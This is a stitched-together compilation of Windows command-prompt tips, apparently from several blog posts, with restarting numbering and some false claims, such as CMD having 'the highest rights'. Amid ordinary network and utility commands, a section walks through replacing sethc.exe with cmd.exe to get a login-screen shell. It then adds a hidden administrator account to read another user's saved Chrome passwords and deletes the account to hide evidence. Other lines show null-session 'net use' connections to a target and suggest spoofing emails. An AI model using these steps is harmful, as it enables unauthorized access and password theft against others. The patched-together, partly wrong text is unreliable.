1) ping :
This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing
the “ping” command.
ping x.x.x.x (x is the IP address). You can try pinging [Link] which belongs to Google
or
ping [Link] ([Link] is the website you want to ping, but you don’t know the IP)
2) nslookup :
This command has many functionalities. One is for resolving DNS into IP. Lets say you know the website URL but you
don’t know its IP but you want to find it out.
Eg. nslookup [Link] ([Link] is the website for which you want to find out the IP)
Now, another really nice function of nslookup is to find out IP of specific Mail Severs
Code:
nslookup (enter)
set type=mx (enter)
[Link]
This command will give you the mail server IP of [Link]. You can use whatever server you want and if it is listed
on DNS, then you get the IP. Simple, isn’t it? You can send a spoofed email to your friends using the IP address of the
mail server. You can check the tutorial here for sending a spoofed email.
3) tracert :
This command will give you the hops that a packet will travel to reach its final destination. This command is really
helpful if you know the route a packet takes before it goes to the target box.
Code: tracert x.x.x.x (x is the IP address)
or
tracert [Link] ([Link] is the website you don’t know the IP)
4) arp :
This command will show you the arp table. You can find out if anyone has done arp poisoning in your LAN using this
command.
Code:
arp -a
5) route :
This command will show you the routing table, gateway, interface and metric.
Code:
route print
6) ipconfig :
This command will show you a lot of useful things like your IP, Gateway, DNS in use, etc. This command will give all
that info but for all networks, you might have it.
Code:
ipconfig
or
Code:
ipconfig /all
Also, in case you have a dynamic IP and want to change it, then type…
Code:
ipconfig /release (this will release your IP)
ipconfig /renew (this will renew your iP)
7) netstat :
This command will show you connection stats
Code:
netstat
or
Code:
netstat -a (this will show you all the listening ports and connection with DNS names)
netstat -n (this will show you all the open connection with IP addresses)
netstat -an (this will combined both of the above)
net view x.x.x.x or computername (will list the available sharing folders on the target box)
8) netuser:
This command reset Windows User Password without Knowing Old Password.
code: net user yourusername *
Change yourusername with your PC user name and press Enter. Now type the new password.
9) Net View:
This command displays the whole list of resources, computers or domains that are shared by the specified computer.
code:
net view x.x.x.x or computername
10) Tasklist:
This command opens up an entire task manager on the command prompt. Users just need to enter tasklist on CMD
and they will see the list of all running process.
For eg; If you want to kill PID 1532 process then you can enter the command-
Code:
taskkill /PID 1532 /F
Bonus-
Some additional CMD commands which will help you in hacking-
Code:
net use \ipaddressipc$ “” /user:administrator
(this command will allow you to connect to the target as administrator)
Now if you want to connect to the target and browse the entire C drive, then use this command:
Code:
net use K: \computernameC$
(this will create a virtual drive on your “my computer” folder)
Please note that this command will only work if the target PC/laptop has not set an Administrator Password.
And last but not least, the “help” command.
Quote:
whatevercommand /help
or
Quote:
whatevercommand /?
This command is very useful in finding what a particular command does, especially if you are a newbie.
The only way to hack anything is by using CMD or powershell in windows and various types of root terminals in other
linux based OS.
What I want to say is that if you can get access of someones terminal or cmd you can do whatever you like without
his permissions as CMD has the highest rights and permissions in a PC.
Every single operation done in a PC should be authorized by CMD, which says that hacking or gaining access to CMD
is called as device hacking.
One of the best windows hack that Involve CMD and shows you the Important piece of exe file in our PC is [Link].
The Story Of Hackers around 2008–2010
We all know about the stick keys[ press shift key 5 times] and there it popsup something like this
Now open your taskmanager and check the new program that was running because of this new popup
ie [Link] which is locate at c:\windows\system32\[Link]
Similarly while you open cmd there is a file running background and it is [Link] and it is located
at c:\windows\system32\[Link].
Now save a copy of cmd and sethc on your desktop for safety.
Rename the [Link] with [Link] at the location c:\windows\system32\, try pressing shift 5 times now
you can see cmd popping up.
YOLO, you hacked pc :) , you still didnt get it right.
Now logout from the respective user.
You are at login screen, now press shift five time you can see cmd.
Run this command net user hacker thisispassword /add
Which creates an account with the username : hacker and password : thisispassword
Run this command net localgroup administrators hacker /add
This command will give you administrator rights so that you can access other accounts information with this account,
like you can see chrome saved passwords and what not :p
Final stage run this command net user hacker /del
Which deletes all the evidences that you peeked into some others account.
Hope you enjoyed it and you can comment some of your doubts in my following blogs which will helpful for the
people who want to learn, everyone cant comment or ask doubt online :p
#6 Scan the System Files
Scanning and repairing your system files is made easy by the command prompt. Just type “sfc/scannow” and hit
enter. The scanning will immediately start and it will either repair the files or provide you with the details of any
problem encountered.
#7 Create Permanent Folders
Permanent folders can be created using the command prompts. You need to toe the bane of the disk in which you
wish to create this folder followed by either “md con\” or“md lpt1\” and hit enter. The final code should look
something like “D: md con\“. The new folder will be created with this same name. This permanent folder can only be
deleted using the command prompt and to do that, you need to swap “md con\” with “rd con\” or “md lpt1” with
“rd lpt1” and hit enter.
#8 Compare And Check The Difference
Using command prompts, you can compare two text files and check the difference. To do this, you need to type “FC”
command to enter the directories of both text files. The structure of this command prompt should look like “fc
[Link] [Link]” and hit enter to obtain the comparison results of both the files. If both the
files have no difference then, the command will return to the message which reads “no difference encountered”
#9 Encrypt Files using Command Prompt
Encrypting important data is a very useful tool in command prompt. Encryption is more like restricting your personal
data to yourself. Using command prompt, you can easily encrypt files on your PC. For this, you will first need to
change your working directory to the folder which contains your files. You can do this by using the “cd” command
and then, you’re “Ciper /E” and hit enter. One done, all the files in this folder will be encrypted. You need to make
sure that you set a password for your account or else, this encryption will be of no use. These encrypted files will
open normally from your account but, not from any other account.
#10 Create a WiFi Hotspot
Using command prompt, you can set up a WiFi hotspot on your PC and thus, be sharing your internet access with a
number of devices around you, without making use of any third party app. The steps required to setup this WiFi
hotspot are:
Step 1- Enter the text “netsh wlan set hostednetwork mode=allow ssid=HotspotName key=Password“ in the
command prompt and enter any name you wish in place of ‘HotspotName’ for your hotspot and ‘Password’ with a
unique password of your choice. Now, hit enter to save the changes.
Step 2- To broadcast your WiFi hotspot, you will have to type “netsh wlan start hostednetwork” in the command
prompt so that the devices near you can connect to your hotspot.
Step 3- To terminate the WiFi hotspot, you will have to make use of command “netsh wlan stop
hostednetwork”. This will stop the broadcasting. if you want to restart the broadcasting, you will have to apply the
step 2 once again.
#11 Shut Down Computer With CMD
Best CMD Tips, Tricks, and [Link] can also shut down your computer by using the command prompt. Type the
following command in command prompt.
For Shutdown: shutdown -s
For Restarting: shutdown -r
For Logoff: shutdown -l
#12 Netstat CMD Command 2019
Netstat is another best CMD Command, it is an important tool when you want to know about who is establishing a
connection with your computer. The output of this command provides you the information about all active
connection and listening ports. Check below attributes to execute this CMD:
1. -a (display all connection).
2. -n (sorts connection in numerical order).
3. -b (display executable name. that is browser name)
1. Accessibility Controls – [Link] | Best CMD Tricks
2. Accessibility Wizard – accwiz
3. Add Hardware Wizard – [Link]
4. Add/Remove Programs – [Link]
5. Administrative Tools – control admintools
6. Automatic Updates – [Link]
7. Bluetooth Transfer Wizard – fsquirt
8. Calculator – calc
9. Certificate Manager – [Link]
10. Character Map – charmap
11. Check Disk Utility – chkdsk
12. Clipboard Viewer – clipbrd
13. Command Prompt – cmd
14. Component Services – dcomcnfg
15. Computer Management – [Link]
16. Control Panel – control
17. Date and Time Properties – [Link]
18. DDE Shares – ddeshare
19. Device Manager – [Link]
20. Direct X Troubleshooter – dxdiag
21. Disk Cleanup Utility – cleanmgr
22. Disk Defragment – [Link]
23. Disk Management – [Link]
24. Disk Partition Manager – diskpart
25. Display Properties – control desktop
26. Display Properties – [Link]
27. Dr. Watson System Troubleshooting Utility – drwtsn32
28. Driver Verifier Utility – verifier
29. Event Viewer – [Link]
30. Files and Settings Transfer Tool – migwiz
31. File Signature Verification Tool – sigverif
32. Findfast – [Link]
33. Firefox – firefox
34. Folders Properties – control folders
35. Fonts – control fonts
36. Fonts Folder – fonts
37. Free Cell Card Game – freecell
38. Game Controllers – [Link] | Best CMD Commands 2019
39. Group Policy Editor (for xp professional) – [Link]
40. Hearts Card Game – mshearts
41. Help and Support – helpctr
42. HyperTerminal – hypertrm
43. Iexpress Wizard – iexpress
44. Indexing Service – [Link]
45. Internet Connection Wizard – icwconn1
46. Internet Explorer – iexplore
47. Internet Properties – [Link]
48. Keyboard Properties – control keyboard
49. Local Security Settings – [Link]
50. Local Users and Groups – [Link]
51. Logs You Out Of Windows – logoff
52. Malicious Software Removal Tool – mrt
53. Microsoft Chat – winchat
54. Microsoft Movie Maker – moviemk
55. Microsoft Paint – mspaint
56. Microsoft Syncronization Tool – mobsync
57. Minesweeper Game – winmine
58. Mouse Properties – control mouse
59. Mouse Properties – [Link]
60. Netmeeting – conf
61. Network Connections – control netconnections
62. Network Connections – [Link]
63. Network Setup Wizard – [Link]
64. Notepad – notepad
65. Object Packager – packager
66. ODBC Data Source Administrator – [Link]
67. On Screen Keyboard – osk
68. Outlook Express – msimn
69. Paint – pbrush
70. Password Properties – [Link]
71. Performance Monitor – [Link]
72. Performance Monitor – perfmon
73. Phone and Modem Options – [Link]
74. Phone Dialer – dialer
75. Pinball Game – pinball
76. Power Configuration – [Link]
77. Printers and Faxes – control printers
78. Printers Folder – printers
79. Regional Settings – [Link]
80. Registry Editor – regedit
81. Registry Editor – regedit32
82. Remote Access Phonebook – rasphone
83. Remote Desktop – mstsc
84. Removable Storage – [Link]
85. Removable Storage Operator Requests – [Link]
86. Resultant Set of Policy (for xp professional) – [Link]
87. Scanners and Cameras – [Link]
88. Scheduled Tasks – control schedtasks
89. Security Center – [Link]
90. Services – [Link]
91. Shared Folders – [Link]
92. Shuts Down Windows – shutdown
93. Sounds and Audio – [Link]
94. Spider Solitare Card Game – spider
95. SQL Client Configuration – cliconfg
96. System Configuration Editor – sysedit
97. System Configuration Utility – msconfig
98. System Information – msinfo32
99. System Properties – [Link]
100. Task Manager – taskmgr
101. TCP Tester – tcptest
102. Telnet Client – telnet
103. User Account Management – [Link]
104. Utility Manager – utilman
105. Windows Address Book – wab
106. Windows Address Book Import Utility – wabmig
107. Windows Explorer – explorer.
108. Managing the Boot Configuration Data – bcdedit
109. Editing Boot Settings – bootcfg
110. Encrypting or Decrypting Files/folders – cipher
111. Clearing the screen – cls
112. Managing stored usernames/passwords – cmdkey
113. Changing CMD Color – color
114. Compressing one or more files – compress
115. Converting FAT drives to NTFS – convert
116. Delete files – del
117. Deleting User Profiles – delprof
118. Displaying the list of files and folders – dir
119. Displaying Message On Screen – echo
120. Deleting one or more files – erase
121. Opening the windows Explorer – explorer
122. Formatting a disk – format
123. Knowing file extension – ftype
124. Displaying the Mac Address – getmac
125. Online help – help
126. Displaying the host name – hostname
127. Editing disc label – label
128. Log a user off – logoff
129. Get a log time in a file – logtime
130. Creating .cab files – makecab
131. Creating new folders- md
132. Opening Windows Installer – msiexec
133. Managing the network resources – net
134. Knowing the permissions for a user – perms
135. Testing a network connecting – ping
136. Printing a text file – print
137. Shutdown computer – psshutdown
138. Checking free disk space – freedisk
139. Know the file and volume utilities – fsutil
140. File transfer protocl – ftp
141. Showing the space used in folders – diskuse
142. Deleting a folder and all subfolders – deltree
143. Importing or Exporting Active directory data – csvde
144. Displaying the resultant set of Policy information – gpresult
145. Updating the Group policy settings – gpupdate
146. Replacing the files that are currently in use by the os – inuse
147. Comparing two files – fc
148. Finding a text string in a file – find
149. Finding for a strings in file – findstr
150. Displaying the memory usage – mem
1. Command History
Using this command, you can track down your command history. This will turn out to be useful
when you are trying to look for some command that you’ve used in the past, but can’t remember.
doskey /history
2. Run multiple commands
If you are feeling the need to run two commands after another, you can do so easily. Add this to
your collection of CMD hacks. You just need to put “&&” between each command and save some
time. For example, here’s how to run ipconfig and paint.
ipconfig && mspaint
3. Use Function keys and become a pro user
One out of the very useful CMD tricks to use function keys. There is a lot these keys can do to
improve your CMD experience.
Here’s the list:
4. See PC driver list
Using a simple command, you can see all the drivers installed on your computer. All you need to do
is run the driverquery command, and you’ll be seeing a list of all the drivers along with their name,
type, and other information.
driverquery
5. Send an output to clipboard
Very often you might have felt the need to save the output of a command? Usually, people use copy
and paste. However, using a simple command, you can send the command’s output to the clipboard.
Here’s how to send the ipconfig information:
ipconfig | clip
6. Abort a command
This handy Windows CMD trick comes to rescue when you have pressed the enter key and you
need to stop the command in its tracks? To do it, you need to do a Ctrl+C. However, it isn’t a magic
trick that can undo an undoable thing.
7. Make your Command Prompt colorful
You can change the color of the Windows Command Prompt to make it look colorful. You can
perform this easy change by right-clicking in the top corners of the Command Prompt and select
Properties. There, find the Colors tab and look for the options to change the background and text
color.
8. Create Wi-Fi hotspot right from the command prompt
Before opening the Command Prompt to execute the commands needed for this, you need to open
Control Panel and find Change adapter settings in the Network and Sharing option. There, click on
the connection you are using and click on Properties. Now find the sharing tab and check the option
“Allow other network users to connect through this computer’s internet connection.”
Now open the Command Prompt with administrative privileges and enter the following command:
netsh wlan set hostednetwork mode=allow ssid=Youthotspotname key=yourpassword
After it’s enabled, enter the following command to start the Wi-Fi hotspot
netsh wlan start hostednetwork
To stop it, simply enter this command:
netsh wlan stop hostednetwork“.
If you’re using Windows 10?
Windows 10 comes with a built-in tool that lets users create a WiFi hotspot. You can read our
detailed post know how to enable mobile hotspot in Windows 10.